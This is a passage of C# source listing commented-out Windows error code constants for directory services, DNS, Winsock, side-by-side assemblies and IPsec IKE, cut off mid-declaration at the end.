ERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE = 8579;\n      //public const uint ERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC = 8580;\n      //public const uint ERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG = 8581;\n      //public const uint ERROR_DS_MODIFYDN_WRONG_GRANDPARENT = 8582;\n      //public const uint ERROR_DS_NAME_ERROR_TRUST_REFERRAL = 8583;\n      //public const uint ERROR_NOT_SUPPORTED_ON_STANDARD_SERVER = 8584;\n      //public const uint ERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD = 8585;\n      //public const uint ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2 = 8586;\n      //public const uint ERROR_DS_THREAD_LIMIT_EXCEEDED = 8587;\n      //public const uint ERROR_DS_NOT_CLOSEST = 8588;\n      //public const uint ERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF = 8589;\n      //public const uint ERROR_DS_SINGLE_USER_MODE_FAILED = 8590;\n      //public const uint ERROR_DS_NTDSCRIPT_SYNTAX_ERROR = 8591;\n      //public const uint ERROR_DS_NTDSCRIPT_PROCESS_ERROR = 8592;\n      //public const uint ERROR_DS_DIFFERENT_REPL_EPOCHS = 8593;\n      //public const uint ERROR_DS_DRS_EXTENSIONS_CHANGED = 8594;\n      //public const uint ERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR = 8595;\n      //public const uint ERROR_DS_NO_MSDS_INTID = 8596;\n      //public const uint ERROR_DS_DUP_MSDS_INTID = 8597;\n      //public const uint ERROR_DS_EXISTS_IN_RDNATTID = 8598;\n      //public const uint ERROR_DS_AUTHORIZATION_FAILED = 8599;\n      //public const uint ERROR_DS_INVALID_SCRIPT = 8600;\n      //public const uint ERROR_DS_REMOTE_CROSSREF_OP_FAILED = 8601;\n      //public const uint ERROR_DS_CROSS_REF_BUSY = 8602;\n      //public const uint ERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN = 8603;\n      //public const uint ERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC = 8604;\n      //public const uint ERROR_DS_DUPLICATE_ID_FOUND = 8605;\n      //public const uint ERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT = 8606;\n      //public const uint ERROR_DS_GROUP_CONVERSION_ERROR = 8607;\n      //public const uint ERROR_DS_CANT_MOVE_APP_BASIC_GROUP = 8608;\n      //public const uint ERROR_DS_CANT_MOVE_APP_QUERY_GROUP = 8609;\n      //public const uint ERROR_DS_ROLE_NOT_VERIFIED = 8610;\n      //public const uint ERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL = 8611;\n      //public const uint ERROR_DS_DOMAIN_RENAME_IN_PROGRESS = 8612;\n      //public const uint ERROR_DS_EXISTING_AD_CHILD_NC = 8613;\n      //public const uint ERROR_DS_REPL_LIFETIME_EXCEEDED = 8614;\n      //public const uint ERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER = 8615;\n      //public const uint ERROR_DS_LDAP_SEND_QUEUE_FULL = 8616;\n      //public const uint ERROR_DS_DRA_OUT_SCHEDULE_WINDOW = 8617;\n      //public const uint DNS_ERROR_RESPONSE_CODES_BASE = 9000;\n      //public const uint DNS_ERROR_RCODE_NO_ERROR = NO_ERROR;\n      //public const uint DNS_ERROR_MASK = 0x00002328;\n      //public const uint DNS_ERROR_RCODE_FORMAT_ERROR = 9001;\n      //public const uint DNS_ERROR_RCODE_SERVER_FAILURE = 9002;\n      //public const uint DNS_ERROR_RCODE_NAME_ERROR = 9003;\n      //public const uint DNS_ERROR_RCODE_NOT_IMPLEMENTED = 9004;\n      //public const uint DNS_ERROR_RCODE_REFUSED = 9005;\n      //public const uint DNS_ERROR_RCODE_YXDOMAIN = 9006;\n      //public const uint DNS_ERROR_RCODE_YXRRSET = 9007;\n      //public const uint DNS_ERROR_RCODE_NXRRSET = 9008;\n      //public const uint DNS_ERROR_RCODE_NOTAUTH = 9009;\n      //public const uint DNS_ERROR_RCODE_NOTZONE = 9010;\n      //public const uint DNS_ERROR_RCODE_BADSIG = 9016;\n      //public const uint DNS_ERROR_RCODE_BADKEY = 9017;\n      //public const uint DNS_ERROR_RCODE_BADTIME = 9018;\n      //public const uint DNS_ERROR_RCODE_LAST = DNS_ERROR_RCODE_BADTIME;\n      //public const uint DNS_ERROR_PACKET_FMT_BASE = 9500;\n      //public const uint DNS_INFO_NO_RECORDS = 9501;\n      //public const uint DNS_ERROR_BAD_PACKET = 9502;\n      //public const uint DNS_ERROR_NO_PACKET = 9503;\n      //public const uint DNS_ERROR_RCODE = 9504;\n      //public const uint DNS_ERROR_UNSECURE_PACKET = 9505;\n      //public const uint DNS_STATUS_PACKET_UNSECURE = DNS_ERROR_UNSECURE_PACKET;\n      //public const uint DNS_ERROR_NO_MEMORY = ERROR_OUTOFMEMORY;\n      //public const uint DNS_ERROR_INVALID_NAME = ERROR_INVALID_NAME;\n      //public const uint DNS_ERROR_INVALID_DATA = ERROR_INVALID_DATA;\n      //public const uint DNS_ERROR_GENERAL_API_BASE = 9550;\n      //public const uint DNS_ERROR_INVALID_TYPE = 9551;\n      //public const uint DNS_ERROR_INVALID_IP_ADDRESS = 9552;\n      //public const uint DNS_ERROR_INVALID_PROPERTY = 9553;\n      //public const uint DNS_ERROR_TRY_AGAIN_LATER = 9554;\n      //public const uint DNS_ERROR_NOT_UNIQUE = 9555;\n      //public const uint DNS_ERROR_NON_RFC_NAME = 9556;\n      //public const uint DNS_STATUS_FQDN = 9557;\n      //public const uint DNS_STATUS_DOTTED_NAME = 9558;\n      //public const uint DNS_STATUS_SINGLE_PART_NAME = 9559;\n      //public const uint DNS_ERROR_INVALID_NAME_CHAR = 9560;\n      //public const uint DNS_ERROR_NUMERIC_NAME = 9561;\n      //public const uint DNS_ERROR_NOT_ALLOWED_ON_ROOT_SERVER = 9562;\n      //public const uint DNS_ERROR_NOT_ALLOWED_UNDER_DELEGATION = 9563;\n      //public const uint DNS_ERROR_CANNOT_FIND_ROOT_HINTS = 9564;\n      //public const uint DNS_ERROR_INCONSISTENT_ROOT_HINTS = 9565;\n      //public const uint DNS_ERROR_ZONE_BASE = 9600;\n      //public const uint DNS_ERROR_ZONE_DOES_NOT_EXIST = 9601;\n      //public const uint DNS_ERROR_NO_ZONE_INFO = 9602;\n      //public const uint DNS_ERROR_INVALID_ZONE_OPERATION = 9603;\n      //public const uint DNS_ERROR_ZONE_CONFIGURATION_ERROR = 9604;\n      //public const uint DNS_ERROR_ZONE_HAS_NO_SOA_RECORD = 9605;\n      //public const uint DNS_ERROR_ZONE_HAS_NO_NS_RECORDS = 9606;\n      //public const uint DNS_ERROR_ZONE_LOCKED = 9607;\n      //public const uint DNS_ERROR_ZONE_CREATION_FAILED = 9608;\n      //public const uint DNS_ERROR_ZONE_ALREADY_EXISTS = 9609;\n      //public const uint DNS_ERROR_AUTOZONE_ALREADY_EXISTS = 9610;\n      //public const uint DNS_ERROR_INVALID_ZONE_TYPE = 9611;\n      //public const uint DNS_ERROR_SECONDARY_REQUIRES_MASTER_IP = 9612;\n      //public const uint DNS_ERROR_ZONE_NOT_SECONDARY = 9613;\n      //public const uint DNS_ERROR_NEED_SECONDARY_ADDRESSES = 9614;\n      //public const uint DNS_ERROR_WINS_INIT_FAILED = 9615;\n      //public const uint DNS_ERROR_NEED_WINS_SERVERS = 9616;\n      //public const uint DNS_ERROR_NBSTAT_INIT_FAILED = 9617;\n      //public const uint DNS_ERROR_SOA_DELETE_INVALID = 9618;\n      //public const uint DNS_ERROR_FORWARDER_ALREADY_EXISTS = 9619;\n      //public const uint DNS_ERROR_ZONE_REQUIRES_MASTER_IP = 9620;\n      //public const uint DNS_ERROR_ZONE_IS_SHUTDOWN = 9621;\n      //public const uint DNS_ERROR_DATAFILE_BASE = 9650;\n      //public const uint DNS_ERROR_PRIMARY_REQUIRES_DATAFILE = 9651;\n      //public const uint DNS_ERROR_INVALID_DATAFILE_NAME = 9652;\n      //public const uint DNS_ERROR_DATAFILE_OPEN_FAILURE = 9653;\n      //public const uint DNS_ERROR_FILE_WRITEBACK_FAILED = 9654;\n      //public const uint DNS_ERROR_DATAFILE_PARSING = 9655;\n      //public const uint DNS_ERROR_DATABASE_BASE = 9700;\n      //public const uint DNS_ERROR_RECORD_DOES_NOT_EXIST = 9701;\n      //public const uint DNS_ERROR_RECORD_FORMAT = 9702;\n      //public const uint DNS_ERROR_NODE_CREATION_FAILED = 9703;\n      //public const uint DNS_ERROR_UNKNOWN_RECORD_TYPE = 9704;\n      //public const uint DNS_ERROR_RECORD_TIMED_OUT = 9705;\n      //public const uint DNS_ERROR_NAME_NOT_IN_ZONE = 9706;\n      //public const uint DNS_ERROR_CNAME_LOOP = 9707;\n      //public const uint DNS_ERROR_NODE_IS_CNAME = 9708;\n      //public const uint DNS_ERROR_CNAME_COLLISION = 9709;\n      //public const uint DNS_ERROR_RECORD_ONLY_AT_ZONE_ROOT = 9710;\n      //public const uint DNS_ERROR_RECORD_ALREADY_EXISTS = 9711;\n      //public const uint DNS_ERROR_SECONDARY_DATA = 9712;\n      //public const uint DNS_ERROR_NO_CREATE_CACHE_DATA = 9713;\n      //public const uint DNS_ERROR_NAME_DOES_NOT_EXIST = 9714;\n      //public const uint DNS_WARNING_PTR_CREATE_FAILED = 9715;\n      //public const uint DNS_WARNING_DOMAIN_UNDELETED = 9716;\n      //public const uint DNS_ERROR_DS_UNAVAILABLE = 9717;\n      //public const uint DNS_ERROR_DS_ZONE_ALREADY_EXISTS = 9718;\n      //public const uint DNS_ERROR_NO_BOOTFILE_IF_DS_ZONE = 9719;\n      //public const uint DNS_ERROR_OPERATION_BASE = 9750;\n      //public const uint DNS_INFO_AXFR_COMPLETE = 9751;\n      //public const uint DNS_ERROR_AXFR = 9752;\n      //public const uint DNS_INFO_ADDED_LOCAL_WINS = 9753;\n      //public const uint DNS_ERROR_SECURE_BASE = 9800;\n      //public const uint DNS_STATUS_CONTINUE_NEEDED = 9801;\n      //public const uint DNS_ERROR_SETUP_BASE = 9850;\n      //public const uint DNS_ERROR_NO_TCPIP = 9851;\n      //public const uint DNS_ERROR_NO_DNS_SERVERS = 9852;\n      //public const uint DNS_ERROR_DP_BASE = 9900;\n      //public const uint DNS_ERROR_DP_DOES_NOT_EXIST = 9901;\n      //public const uint DNS_ERROR_DP_ALREADY_EXISTS = 9902;\n      //public const uint DNS_ERROR_DP_NOT_ENLISTED = 9903;\n      //public const uint DNS_ERROR_DP_ALREADY_ENLISTED = 9904;\n      //public const uint DNS_ERROR_DP_NOT_AVAILABLE = 9905;\n      //public const uint DNS_ERROR_DP_FSMO_ERROR = 9906;\n      //public const uint WSABASEERR = 10000;\n      //public const uint WSAEINTR = 10004;\n      //public const uint WSAEBADF = 10009;\n      //public const uint WSAEACCES = 10013;\n      //public const uint WSAEFAULT = 10014;\n      //public const uint WSAEINVAL = 10022;\n      //public const uint WSAEMFILE = 10024;\n      //public const uint WSAEWOULDBLOCK = 10035;\n      //public const uint WSAEINPROGRESS = 10036;\n      //public const uint WSAEALREADY = 10037;\n      //public const uint WSAENOTSOCK = 10038;\n      //public const uint WSAEDESTADDRREQ = 10039;\n      //public const uint WSAEMSGSIZE = 10040;\n      //public const uint WSAEPROTOTYPE = 10041;\n      //public const uint WSAENOPROTOOPT = 10042;\n      //public const uint WSAEPROTONOSUPPORT = 10043;\n      //public const uint WSAESOCKTNOSUPPORT = 10044;\n      //public const uint WSAEOPNOTSUPP = 10045;\n      //public const uint WSAEPFNOSUPPORT = 10046;\n      //public const uint WSAEAFNOSUPPORT = 10047;\n      //public const uint WSAEADDRINUSE = 10048;\n      //public const uint WSAEADDRNOTAVAIL = 10049;\n      //public const uint WSAENETDOWN = 10050;\n      //public const uint WSAENETUNREACH = 10051;\n      //public const uint WSAENETRESET = 10052;\n      //public const uint WSAECONNABORTED = 10053;\n      //public const uint WSAECONNRESET = 10054;\n      //public const uint WSAENOBUFS = 10055;\n      //public const uint WSAEISCONN = 10056;\n      //public const uint WSAENOTCONN = 10057;\n      //public const uint WSAESHUTDOWN = 10058;\n      //public const uint WSAETOOMANYREFS = 10059;\n      //public const uint WSAETIMEDOUT = 10060;\n      //public const uint WSAECONNREFUSED = 10061;\n      //public const uint WSAELOOP = 10062;\n      //public const uint WSAENAMETOOLONG = 10063;\n      //public const uint WSAEHOSTDOWN = 10064;\n      //public const uint WSAEHOSTUNREACH = 10065;\n      //public const uint WSAENOTEMPTY = 10066;\n      //public const uint WSAEPROCLIM = 10067;\n      //public const uint WSAEUSERS = 10068;\n      //public const uint WSAEDQUOT = 10069;\n      //public const uint WSAESTALE = 10070;\n      //public const uint WSAEREMOTE = 10071;\n      //public const uint WSASYSNOTREADY = 10091;\n      //public const uint WSAVERNOTSUPPORTED = 10092;\n      //public const uint WSANOTINITIALISED = 10093;\n      //public const uint WSAEDISCON = 10101;\n      //public const uint WSAENOMORE = 10102;\n      //public const uint WSAECANCELLED = 10103;\n      //public const uint WSAEINVALIDPROCTABLE = 10104;\n      //public const uint WSAEINVALIDPROVIDER = 10105;\n      //public const uint WSAEPROVIDERFAILEDINIT = 10106;\n      //public const uint WSASYSCALLFAILURE = 10107;\n      //public const uint WSASERVICE_NOT_FOUND = 10108;\n      //public const uint WSATYPE_NOT_FOUND = 10109;\n      //public const uint WSA_E_NO_MORE = 10110;\n      //public const uint WSA_E_CANCELLED = 10111;\n      //public const uint WSAEREFUSED = 10112;\n      //public const uint WSAHOST_NOT_FOUND = 11001;\n      //public const uint WSATRY_AGAIN = 11002;\n      //public const uint WSANO_RECOVERY = 11003;\n      //public const uint WSANO_DATA = 11004;\n      //public const uint WSA_QOS_RECEIVERS = 11005;\n      //public const uint WSA_QOS_SENDERS = 11006;\n      //public const uint WSA_QOS_NO_SENDERS = 11007;\n      //public const uint WSA_QOS_NO_RECEIVERS = 11008;\n      //public const uint WSA_QOS_REQUEST_CONFIRMED = 11009;\n      //public const uint WSA_QOS_ADMISSION_FAILURE = 11010;\n      //public const uint WSA_QOS_POLICY_FAILURE = 11011;\n      //public const uint WSA_QOS_BAD_STYLE = 11012;\n      //public const uint WSA_QOS_BAD_OBJECT = 11013;\n      //public const uint WSA_QOS_TRAFFIC_CTRL_ERROR = 11014;\n      //public const uint WSA_QOS_GENERIC_ERROR = 11015;\n      //public const uint WSA_QOS_ESERVICETYPE = 11016;\n      //public const uint WSA_QOS_EFLOWSPEC = 11017;\n      //public const uint WSA_QOS_EPROVSPECBUF = 11018;\n      //public const uint WSA_QOS_EFILTERSTYLE = 11019;\n      //public const uint WSA_QOS_EFILTERTYPE = 11020;\n      //public const uint WSA_QOS_EFILTERCOUNT = 11021;\n      //public const uint WSA_QOS_EOBJLENGTH = 11022;\n      //public const uint WSA_QOS_EFLOWCOUNT = 11023;\n      //public const uint WSA_QOS_EUNKOWNPSOBJ = 11024;\n      //public const uint WSA_QOS_EPOLICYOBJ = 11025;\n      //public const uint WSA_QOS_EFLOWDESC = 11026;\n      //public const uint WSA_QOS_EPSFLOWSPEC = 11027;\n      //public const uint WSA_QOS_EPSFILTERSPEC = 11028;\n      //public const uint WSA_QOS_ESDMODEOBJ = 11029;\n      //public const uint WSA_QOS_ESHAPERATEOBJ = 11030;\n      //public const uint WSA_QOS_RESERVED_PETYPE = 11031;\n      //public const uint ERROR_SXS_SECTION_NOT_FOUND = 14000;\n      //public const uint ERROR_SXS_CANT_GEN_ACTCTX = 14001;\n      //public const uint ERROR_SXS_INVALID_ACTCTXDATA_FORMAT = 14002;\n      //public const uint ERROR_SXS_ASSEMBLY_NOT_FOUND = 14003;\n      //public const uint ERROR_SXS_MANIFEST_FORMAT_ERROR = 14004;\n      //public const uint ERROR_SXS_MANIFEST_PARSE_ERROR = 14005;\n      //public const uint ERROR_SXS_ACTIVATION_CONTEXT_DISABLED = 14006;\n      //public const uint ERROR_SXS_KEY_NOT_FOUND = 14007;\n      //public const uint ERROR_SXS_VERSION_CONFLICT = 14008;\n      //public const uint ERROR_SXS_WRONG_SECTION_TYPE = 14009;\n      //public const uint ERROR_SXS_THREAD_QUERIES_DISABLED = 14010;\n      //public const uint ERROR_SXS_PROCESS_DEFAULT_ALREADY_SET = 14011;\n      //public const uint ERROR_SXS_UNKNOWN_ENCODING_GROUP = 14012;\n      //public const uint ERROR_SXS_UNKNOWN_ENCODING = 14013;\n      //public const uint ERROR_SXS_INVALID_XML_NAMESPACE_URI = 14014;\n      //public const uint ERROR_SXS_ROOT_MANIFEST_DEPENDENCY_NOT_INSTALLED = 14015;\n      //public const uint ERROR_SXS_LEAF_MANIFEST_DEPENDENCY_NOT_INSTALLED = 14016;\n      //public const uint ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE = 14017;\n      //public const uint ERROR_SXS_MANIFEST_MISSING_REQUIRED_DEFAULT_NAMESPACE = 14018;\n      //public const uint ERROR_SXS_MANIFEST_INVALID_REQUIRED_DEFAULT_NAMESPACE = 14019;\n      //public const uint ERROR_SXS_PRIVATE_MANIFEST_CROSS_PATH_WITH_REPARSE_POINT = 14020;\n      //public const uint ERROR_SXS_DUPLICATE_DLL_NAME = 14021;\n      //public const uint ERROR_SXS_DUPLICATE_WINDOWCLASS_NAME = 14022;\n      //public const uint ERROR_SXS_DUPLICATE_CLSID = 14023;\n      //public const uint ERROR_SXS_DUPLICATE_IID = 14024;\n      //public const uint ERROR_SXS_DUPLICATE_TLBID = 14025;\n      //public const uint ERROR_SXS_DUPLICATE_PROGID = 14026;\n      //public const uint ERROR_SXS_DUPLICATE_ASSEMBLY_NAME = 14027;\n      //public const uint ERROR_SXS_FILE_HASH_MISMATCH = 14028;\n      //public const uint ERROR_SXS_POLICY_PARSE_ERROR = 14029;\n      //public const uint ERROR_SXS_XML_E_MISSINGQUOTE = 14030;\n      //public const uint ERROR_SXS_XML_E_COMMENTSYNTAX = 14031;\n      //public const uint ERROR_SXS_XML_E_BADSTARTNAMECHAR = 14032;\n      //public const uint ERROR_SXS_XML_E_BADNAMECHAR = 14033;\n      //public const uint ERROR_SXS_XML_E_BADCHARINSTRING = 14034;\n      //public const uint ERROR_SXS_XML_E_XMLDECLSYNTAX = 14035;\n      //public const uint ERROR_SXS_XML_E_BADCHARDATA = 14036;\n      //public const uint ERROR_SXS_XML_E_MISSINGWHITESPACE = 14037;\n      //public const uint ERROR_SXS_XML_E_EXPECTINGTAGEND = 14038;\n      //public const uint ERROR_SXS_XML_E_MISSINGSEMICOLON = 14039;\n      //public const uint ERROR_SXS_XML_E_UNBALANCEDPAREN = 14040;\n      //public const uint ERROR_SXS_XML_E_INTERNALERROR = 14041;\n      //public const uint ERROR_SXS_XML_E_UNEXPECTED_WHITESPACE = 14042;\n      //public const uint ERROR_SXS_XML_E_INCOMPLETE_ENCODING = 14043;\n      //public const uint ERROR_SXS_XML_E_MISSING_PAREN = 14044;\n      //public const uint ERROR_SXS_XML_E_EXPECTINGCLOSEQUOTE = 14045;\n      //public const uint ERROR_SXS_XML_E_MULTIPLE_COLONS = 14046;\n      //public const uint ERROR_SXS_XML_E_INVALID_DECIMAL = 14047;\n      //public const uint ERROR_SXS_XML_E_INVALID_HEXIDECIMAL = 14048;\n      //public const uint ERROR_SXS_XML_E_INVALID_UNICODE = 14049;\n      //public const uint ERROR_SXS_XML_E_WHITESPACEORQUESTIONMARK = 14050;\n      //public const uint ERROR_SXS_XML_E_UNEXPECTEDENDTAG = 14051;\n      //public const uint ERROR_SXS_XML_E_UNCLOSEDTAG = 14052;\n      //public const uint ERROR_SXS_XML_E_DUPLICATEATTRIBUTE = 14053;\n      //public const uint ERROR_SXS_XML_E_MULTIPLEROOTS = 14054;\n      //public const uint ERROR_SXS_XML_E_INVALIDATROOTLEVEL = 14055;\n      //public const uint ERROR_SXS_XML_E_BADXMLDECL = 14056;\n      //public const uint ERROR_SXS_XML_E_MISSINGROOT = 14057;\n      //public const uint ERROR_SXS_XML_E_UNEXPECTEDEOF = 14058;\n      //public const uint ERROR_SXS_XML_E_BADPEREFINSUBSET = 14059;\n      //public const uint ERROR_SXS_XML_E_UNCLOSEDSTARTTAG = 14060;\n      //public const uint ERROR_SXS_XML_E_UNCLOSEDENDTAG = 14061;\n      //public const uint ERROR_SXS_XML_E_UNCLOSEDSTRING = 14062;\n      //public const uint ERROR_SXS_XML_E_UNCLOSEDCOMMENT = 14063;\n      //public const uint ERROR_SXS_XML_E_UNCLOSEDDECL = 14064;\n      //public const uint ERROR_SXS_XML_E_UNCLOSEDCDATA = 14065;\n      //public const uint ERROR_SXS_XML_E_RESERVEDNAMESPACE = 14066;\n      //public const uint ERROR_SXS_XML_E_INVALIDENCODING = 14067;\n      //public const uint ERROR_SXS_XML_E_INVALIDSWITCH = 14068;\n      //public const uint ERROR_SXS_XML_E_BADXMLCASE = 14069;\n      //public const uint ERROR_SXS_XML_E_INVALID_STANDALONE = 14070;\n      //public const uint ERROR_SXS_XML_E_UNEXPECTED_STANDALONE = 14071;\n      //public const uint ERROR_SXS_XML_E_INVALID_VERSION = 14072;\n      //public const uint ERROR_SXS_XML_E_MISSINGEQUALS = 14073;\n      //public const uint ERROR_SXS_PROTECTION_RECOVERY_FAILED = 14074;\n      //public const uint ERROR_SXS_PROTECTION_PUBLIC_KEY_TOO_SHORT = 14075;\n      //public const uint ERROR_SXS_PROTECTION_CATALOG_NOT_VALID = 14076;\n      //public const uint ERROR_SXS_UNTRANSLATABLE_HRESULT = 14077;\n      //public const uint ERROR_SXS_PROTECTION_CATALOG_FILE_MISSING = 14078;\n      //public const uint ERROR_SXS_MISSING_ASSEMBLY_IDENTITY_ATTRIBUTE = 14079;\n      //public const uint ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE_NAME = 14080;\n      //public const uint ERROR_IPSEC_QM_POLICY_EXISTS = 13000;\n      //public const uint ERROR_IPSEC_QM_POLICY_NOT_FOUND = 13001;\n      //public const uint ERROR_IPSEC_QM_POLICY_IN_USE = 13002;\n      //public const uint ERROR_IPSEC_MM_POLICY_EXISTS = 13003;\n      //public const uint ERROR_IPSEC_MM_POLICY_NOT_FOUND = 13004;\n      //public const uint ERROR_IPSEC_MM_POLICY_IN_USE = 13005;\n      //public const uint ERROR_IPSEC_MM_FILTER_EXISTS = 13006;\n      //public const uint ERROR_IPSEC_MM_FILTER_NOT_FOUND = 13007;\n      //public const uint ERROR_IPSEC_TRANSPORT_FILTER_EXISTS = 13008;\n      //public const uint ERROR_IPSEC_TRANSPORT_FILTER_NOT_FOUND = 13009;\n      //public const uint ERROR_IPSEC_MM_AUTH_EXISTS = 13010;\n      //public const uint ERROR_IPSEC_MM_AUTH_NOT_FOUND = 13011;\n      //public const uint ERROR_IPSEC_MM_AUTH_IN_USE = 13012;\n      //public const uint ERROR_IPSEC_DEFAULT_MM_POLICY_NOT_FOUND = 13013;\n      //public const uint ERROR_IPSEC_DEFAULT_MM_AUTH_NOT_FOUND = 13014;\n      //public const uint ERROR_IPSEC_DEFAULT_QM_POLICY_NOT_FOUND = 13015;\n      //public const uint ERROR_IPSEC_TUNNEL_FILTER_EXISTS = 13016;\n      //public const uint ERROR_IPSEC_TUNNEL_FILTER_NOT_FOUND = 13017;\n      //public const uint ERROR_IPSEC_MM_FILTER_PENDING_DELETION = 13018;\n      //public const uint ERROR_IPSEC_TRANSPORT_FILTER_PENDING_DELETION = 13019;\n      //public const uint ERROR_IPSEC_TUNNEL_FILTER_PENDING_DELETION = 13020;\n      //public const uint ERROR_IPSEC_MM_POLICY_PENDING_DELETION = 13021;\n      //public const uint ERROR_IPSEC_MM_AUTH_PENDING_DELETION = 13022;\n      //public const uint ERROR_IPSEC_QM_POLICY_PENDING_DELETION = 13023;\n      //public const uint WARNING_IPSEC_MM_POLICY_PRUNED = 13024;\n      //public const uint WARNING_IPSEC_QM_POLICY_PRUNED = 13025;\n      //public const uint ERROR_IPSEC_IKE_NEG_STATUS_BEGIN = 13800;\n      //public const uint ERROR_IPSEC_IKE_AUTH_FAIL = 13801;\n      //public const uint ERROR_IPSEC_IKE_ATTRIB_FAIL = 13802;\n      //public const uint ERROR_IPSEC_IKE_NEGOTIATION_PENDING = 13803;\n      //public const uint ERROR_IPSEC_IKE_GENERAL_PROCESSING_ERROR = 13804;\n      //public const uint ERROR_IPSEC_IKE_TIMED_OUT = 13805;\n      //public const uint ERROR_IPSEC_IKE_NO_CERT = 13806;\n      //public const uint ERROR_IPSEC_IKE_SA_DELETED = 13807;\n      //public const uint ERROR_IPSEC_IKE_SA_REAPED = 13808;\n      //public const uint ERROR_IPSEC_IKE_MM_ACQUIRE_DROP = 13809;\n      //public const uint ERROR_IPSEC_IKE_QM_ACQUIRE_DROP = 13810;\n      //public const uint ERROR_IPSEC_IKE_QUEUE_DROP_MM = 13811;\n      //public const uint ERROR_IPSEC_IKE_QUEUE_DROP_NO_MM = 13812;\n      //public const uint ERROR_IPSEC_IKE_DROP_NO_RESPONSE = 13813;\n      //public const uint ERROR_IPSEC_IKE_MM_DELAY_DROP = 13814;\n      //public const uint ERROR_IPSEC_IKE_QM_DELAY_DROP = 13815;\n      //public const uint ERROR_IPSEC_IKE_ERROR = 13816;\n      //public const uint ERROR_IPSEC_IKE_CRL_FAILED = 13817;\n      //public const uint ERROR_IPSEC_IKE_INVALID_KEY_USAGE = 13818;\n      //public const uint ERROR_IPSEC_IKE_INVALID_CERT_TYPE = 13819;\n      //public const uint ERROR_IPSEC_IKE_NO_PRIVATE_KEY = 13820;\n      //public const uint ERROR_IPSEC_IKE_DH_FAIL = 13822;\n      //public const uint ERROR_IPSEC_IKE_INVALID_HEADER = 13824;\n      //public const uint ERROR_IPSEC_IKE_NO_POLICY = 13825;\n      //public const uint ERROR_IPSEC_IKE_INVALID_SIGNATURE = 13826;\n      //public const uint ERROR_IPSEC_IKE_KERBEROS_ERROR = 13827;\n      //public const uint ERROR_IPSEC_IKE_NO_PUBLIC_KEY = 13828;\n      //public const uint ERROR_IPSEC_IKE_PROCESS_ERR = 13829;\n      //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_SA = 13830;\n      //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_PROP = 13831;\n      //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_TRANS = 13832;\n      //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_KE = 13833;\n      //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_ID = 13834;\n      //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_CERT = 13835;\n      //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_CERT_REQ = 13836;\n      //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_HASH = 13837;\n      //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_SIG = 13838;\n      //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_NONCE = 13839;\n      //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_NOTIFY = 13840;\n      //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_DELETE = 13841;\n      //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_VENDOR = 13842;\n      //public const uint ERROR_IPSEC_IKE_INVALID_PAYLOAD = 13843;\n      //public const uint ERROR_IPSEC_IKE_LOAD_SOFT_SA = 13844;\n      //public const uint ERROR_IPSEC_IKE_SOFT_SA_TORN_DOWN = 13845;\n      //public const uint ERROR_IPSEC_IKE_INVALID_COOKIE = 13846;\n      //public const uint ERROR_IPSEC_IKE_NO_PEER_CERT = 13847;\n      //public const uint ERROR_IPSEC_IKE_PEER_CRL_FAILED = 13848;\n      //public const uint ERROR_IPSEC_IKE_POLICY_CHANGE = 13849;\n      //public const uint ERROR_IPSEC_IKE_NO_MM_POLICY = 13850;\n      //public const uint ERROR_IPSEC_IKE_NOTCBPRIV = 13851;\n      //public const uint ERROR_IPSEC_IKE_SECLOADFAIL = 13852;\n      //public const uint ERROR_IPSEC_IKE_FAILSSPINIT = 13853;\n      //public const uint ERROR_IPSEC_IKE_FAILQUERYSSP = 13854;\n      //public const uint ERROR_IPSEC_IKE_SRVACQFAIL = 13855;\n      //public const uint ERROR_IPSEC_IKE_SRVQUERYCRED = 13856;\n      //public const uint ERROR_IPSEC_IKE_GETSPIFAIL = 13857;\n      //public const uint ERROR_IPSEC_IKE_INVALID_FILTER = 13858;\n      //public const uint ERROR_IPSEC_IKE_OUT_OF_MEMORY = 13859;\n      //public const uint ERROR_IPSEC_IKE_ADD_UPDATE_KEY_FAILED = 13860;\n      //public const uint ERROR_IPSEC_IKE_INVALID_POLICY = 13861;\n      //public const uint ERROR_IPSEC_IKE_UNKNOWN_DOI = 13862;\n      //public const uint ERROR_IPSEC_IKE_INVALID_SITUATION = 13863;\n      //public const uint ERROR_IPSEC_IKE_DH_FAILURE = 13864;\n      //public const uint ERROR_IPSEC_IKE_INVALID_GROUP = 13865;\n      //public const uint ERROR_IPSEC_IKE_ENCRYPT = 13866;\n      //public const uint ERROR_IPSEC_IKE_DECRYPT = 13867;\n      //public const uint ERROR_IPSEC_IKE_POLICY_MATCH = 13868;\n      //public const uint ERROR_IPSEC_IKE_UNSUPPORTED_ID = 13869;\n      //public const uint ERROR_IPSEC_IKE_INVALID_HASH = 13870;\n      //public const uint ERROR_IPSEC_IKE_INVALID_HASH_ALG = 13871;\n      //public const uint ERROR_IPSEC_IKE_INVALID_HASH_SIZE = 13872;\n      //public const uint ERROR_IPSEC_IKE_INVALID_ENCRYPT_ALG = 13873;\n      //public const uint ERROR_IPSEC_IKE_INVALID_AUTH_ALG = 13874;\n      //public const uint ERROR_IPSEC_IKE_INVALID_SIG = 13875;\n      //public const uint ERROR_IPSEC_IKE_LOAD_FAILED = 13876;\n      //public const uint 